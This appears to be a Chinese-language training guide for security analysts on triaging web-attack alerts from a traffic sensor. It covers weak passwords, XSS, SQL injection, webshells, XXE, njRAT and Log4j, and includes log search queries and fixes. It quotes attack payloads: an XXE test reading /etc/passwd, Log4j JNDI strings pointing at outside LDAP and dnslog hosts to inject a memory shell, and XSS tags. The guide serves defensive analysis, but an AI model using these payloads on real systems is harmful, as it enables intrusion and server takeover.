Web攻击
信息泄露
敏感数据包括但不限于:口令、密钥、证书、会话标识、License、隐私数据(如短消息的内容)、授权凭据、个人数据(如姓名、住址、电话等)等,在程序文件、配置文件、日志文件、备份文件及数据库中都有可能包含敏感数据
信息收集方法
漏洞分类
备份文件泄露
天眼告警
可能存在备份文件泄露
漏洞影响
可能导致网站敏感信息泄露,被利用来进一步攻击等危害
URI中 "1.zip" 触发规则告警,访问URI地址,下载备份文件,分析备份文件,判断漏洞影响
修复建议
删除该网站目录下的备份文件
自动目录列表
天眼告警
发现目录启用了自动目录列表功能
漏洞影响
任何人可以访问该路下的文件,可能造成敏感信息泄露
响应体中 "Directory" 触发规则告警,访问URI地址下目录文件,分析目录信息,判断漏洞影响
修复建议
修改配置文件,禁止目录列表列出
目录穿越
天眼告警
目录穿越漏洞(成功)(机器学习)
漏洞影响
利用此漏洞,黑客可以发现一些敏感信息,包括读取服务器敏感文件等
请求头 ../../ 触发规则告警,
修复建议
禁止目录遍历,对输入参数过滤 ../ 等字符
.svn源码泄露
天眼告警
漏洞影响
攻击利用该漏洞,可以获取到服务器源码、svn服务器账号密码等信息
URI "/.svn/entries" 与响应体svn信息触发规则告警
修复建议
禁止或删除 .svn 文件浏览
弱口令
密码过于简单,不满足复杂度要求,攻击者通过穷举方法尝试web登录的帐号名与密码
密码复杂度要求:口令长度不得小于8位,且为数字、字母、字符混合组合,用户名和口令不得相同, 且无明显规律
漏洞分类
字典
常见的弱口令字典有 默认型弱口令字典 和 社工型弱口令字典
默认型的弱口令包括
- 系统服务弱口令
- 应用组件弱口令
- 设备弱口令
web弱口令
天眼告警
漏洞影响
弱口令容易被人猜解,造成个人信息等数据丢失严重者可导致网站被攻陷
请求体中"password=123456"弱口令,服务器返回"success"
修复建议
整改为强密码
中间件tomcat弱口令
天眼告警
中间件弱口令登录
漏洞影响
通过弱口令进入中间件后台可直接部署war包getshell
中间件例如tomcat与basic认证弱口令信息在请求头 Authorization字段 中,可用base64进行解码
修复建议
整改为强密码
暴力猜解
暴力破解法,或称为穷举法,是一种针对于密码的破译方法
在一些领域,为了提高密码的破译效率而专门为其制造的超级计算机,例如,IBM为美国军方制造的"飓风"就是很有代表性的一个,破解任何一个密码也都只是一个时间问题
天眼告警
攻击者在短时间内通过穷举帐号名与密码的方法尝试web登录,看到暴力猜解的告警要结合流量日志分析溯源判断是否爆破成功
流量日志
HTTP登陆爆破,协议类型web日志
sip:("攻击IP") AND dip:("受攻击系统IP") AND data:("登陆请求账号字段")
FTP、SMTP、Telnet、SSH、mysql数据库等登陆爆破,协议登陆动作
sip:("攻击IP") AND dip:("受攻击系统IP") AND proto:("爆破协议")
过滤爆破登陆成功
sip:("攻击IP") AND dip:("受攻击系统IP") AND proto:("爆破协议") AND NOT (info:fail* OR info:530)
XSS
恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的js代码会被执行,从而达到恶意攻击用户的特殊目的
利用 XSS 可以盗取用户 cookie、xss 结合windows10系统BadCon漏洞可导致系统蓝屏
漏洞分类
具体攻击方流程见之前这篇:
从一开始的网络攻防(四):XSS-CSDN博客
反射型XSS
天眼告警
跨站脚本攻击漏洞(脚本引擎)
请求头"<script>alert(xss)</script>"与响应体"<script>alert(xsss)</script>"触发规则告警
跨站攻击分析技巧
如果遇到跨站响应数据比较多,可以将响应体的数据贴出来放到HTML文件里面打开,观察是否弹窗
如果未弹窗,则在浏览器总CTRL+F查找对应未实体化的JS脚本代码,常见的跨站攻击代码如下:
{[[<script]],[[<a]],[[<div]],[[<img]],[[<iframe]],[[<svg]],[[<body]],[[<audio]],[[<form]],[[<isindex]],[[<input]],[[<marquee]],[[<textarea]]}
SQL注入
发生于应用程序与数据库层的安全漏洞
简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵
漏洞分类
union联合查询注入
天眼告警
对SQL注入攻击成功Payload进行分析,如果服务器返回相应数据库查询信息,则判断攻击成功
发现成功爆出当前数据库用户:root@localhost, SQL注入攻击成功
布尔盲注
天眼告警
根据响应体长度进行分析判断是否注入成功,大多布尔盲注攻击是返回错误页面的,少数是返回正常页面,利用错误页面长度与正常页面长度不一致特性进行分析
上面数据包查看数据库用户名对应ascii码值,如果此asci码值等于真正对应用户名母ascii值则返回正常页面,如果不等于则返回错误页面
时间盲注
天眼告警
服务器记录的响应时间和攻击注入的时间函数不一致,则攻击未成功
网站延迟过高也可能会导致告警成功
其中,图片中最后部分是分析数据,相关描述如下:
Joomla! SQL注入漏洞
天眼告警
Joomla 3.7.0 Core com_fields组件sql注入漏洞(CVE-2017-8917)
通用SQL注入漏洞,大体上也是有回显与无回显,可根据服务器响应信息、响应时间、响应长度进行判断
文件上传
任意文件上传漏洞,主要是产生于网站所提供的文件上传功能,而由于网站没有严格限制文件上传格式,从而导致可上传任意的文件格式,特别是脚本木马 (webshell) 到服务器上,最终获得服务器的控制权限
漏洞分类
文件上传
天眼告警
发现脚本文件上传行为
客户端请求数据为PHP菜刀木马,服务器返回信息"success upload"判断webshell上传成功
企图告警分析
天眼告警
发现脚本文件上传行为
文件上传企图告警,根据数据包无法判断是否上传成功,可到分析平台查看是否有脚本文件的访问记录,如果有成功访问脚本文件记录,则脚本文件上传成功
流量日志
检索语法:uri:("webshell文件名")
如果上传脚本文件被重命名,就筛选出攻击IP对服务器的web协议的访问流量进行分析判断
文件包含
文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入
方式与函数
文件包含
天眼告警
这种告警比较明显,不多赘述
webshell
攻击者在入侵企业网站时,通常要通过各种方式获取webshell从而获得企业网站控制权,然后方便进行之后的入侵行为,webshell通用功能包括但不限于shell命令执行、代码执行、数据库枚举和文件管理
webshell分类
哥斯拉
哥斯拉是一个基于流量、HTTP全加密的webshell管理工具,所以从报文很难看出有明显的攻击特征,需要结合流量上下文找到哥斯拉webshell上传成功的流量来进行分析和判断
天眼告警
首先从Cookie最后的 ; 可以初步判断为哥斯拉的流量,进一步可以结合分析中心进行分析
流量日志
检索语法:sip:("攻击IP") AND dip:("受攻击系统IP")
冰蝎
冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端
冰蝎的通信过程可以分为两个阶段:密钥协商、加密传输
天眼告警
发现利用冰蝎Webshell自定义加密通信方式连接ASP后门
重点是对流量包进行分析,查看是否符合冰蝎的通信的特征
命令执行
命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码
漏洞分类
业务系统功能模块
天眼告警
通用命令执行漏洞
Struts2命令执行
天眼告警
Struts2-045远程命令执行漏洞(CVE-2017-5638)
Struts2代码执行,大多都是在HTTP的请求头或者请求体插入精心构造的恶意代码,如执行echo、print、whoami函数
s2-01——s2-057,原理可以参考该文章: 【技术分享】浅谈struts2历史上的高危漏洞-安全KER - 安全资讯平台
Java框架通用代码执行
天眼告警
Java通用命令执行成功的告警,有的执行命令的攻击payload不仅在请求头中存在,也会在请求体中存在
SQL漏洞注入执行命令
天眼告警
XML实体注入
XXE全称XML External Entity Injection 即xml外部实体注入漏洞,触发点多位于xml文件上传点
xml实体注入一般可以探测内网、读取系统任意文件,任意文件上传等
基础知识
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自
己的标记语言进行定义的源语言
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
漏洞分类
内网存活主机探测
天眼告警
任意文件读取
天眼告警
漏洞测试
<?php
$xml=<<<EOF<?xml version="1.0"?><! DOCTYPE ANY [<! ENTITY xxe SYSTEM "file,///etc/passwd">]><x>&xxe;</x>EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
文件上传
流量日志
通过XXE上传webshell
将data的内容解码,确定为webshell
网络攻击
njRat
发现后门程序 njRat 通信行为如何排查
- 感染了njrat的主机会不断与攻击电脑进行连接,访问一个固定端口
- VHJvam FuXOMONKY2RTk=是他的特征,是base64编码,解码后为Trojan_C46F6E9,VHJvamFuXOMONkY2RTk=后面是攻击的命令,可以看一下是否有外连行为,这里没有执行其他操作
- Win XP:操作系统信息、0.6.4:Njrat版本
- 0.6.4和endof之前的没有显示,若有内容应为base64编码,是攻击者相关行为的说明
- endof:结束符
实操
导入告警流量包
登录天眼流量传感器,策略配置-抓包检测-PCAP文件检测,添加文件后,导入pcap包
天眼告警分析
分析平台发现告警
1、Apache Log4j2 远程代码执行漏洞(CVE-2021-44228/CVE-2021-45046)
2、DNSLog渗透测试活动事件
3、发现利用特定域名带外DNS请求
查看详情发现Apache Log4j2 远程代码执行漏洞恶意payload: %24%7Bjndi%3Aldap%3A%2F%2F9w0cao.dnslog.cn%7D
通过解码小助手解密其payload为:${jndi:ldap://9w0cao.dnslog.cn}, 确定这是一个攻击行为
查看详情-原始告警,分别点击详情,查看其分别执行了命令:whoami
解密小助手解密后:
Payload: ${jndi:ldap://10.43.43.221:1389/TomcatBypass/Tomcat Echo}
注入内存马:
Payload: ${jndi:ldap://10.43.43.221:1389/TomcatBypass/TomcatMemshell2}
来到分析中心 - 日志检索 (选择高级分析-本级-网络日志-web访问)
检索语句:uri:(*jndi*)
攻击成功情况
判断dnslog攻击成功
选择域名解析,存在源ip与dnslog.com的外联日志
判断命令执行攻击成功
有回显命令执行,响应体中存在命令执行结果
无回显命令执行,在源ip与Idap服务ip的外联日志
判断内存马注入攻击成功
查看此攻击IP是否访问内存马目录,并执行其他操作,例如执行whoami等
Web攻击分析小结
企图告警要不要看?
存在部分攻击成功事件
企图类告警中也存在部分攻击成功的安全事件,如下告警案例:
Struts2-045远程命令执行漏洞(CVE-2017-5638)
弱口令
弱口令告警,由于客户现场开发环境复杂,开发不够规范或者天眼规则没有匹配到成功的相应字段,一些web登陆的弱口令告警中虽然显示企图但已成功登陆,需要认真分析数据包信息或在授权的情况下进行登陆验证,如下案例:
内网情况
一个内网地址A自动攻击内网地址B,主机B不存在漏洞没有攻击成功,但是内网主机A已中招,如下案例:
0day/Nday
出现最新的攻击方法时,由于没有及时更新天眼的规则库,会导致一些告警出现企图的告警
告警分析核心要素
说到底还是看请求和响应数据包的数据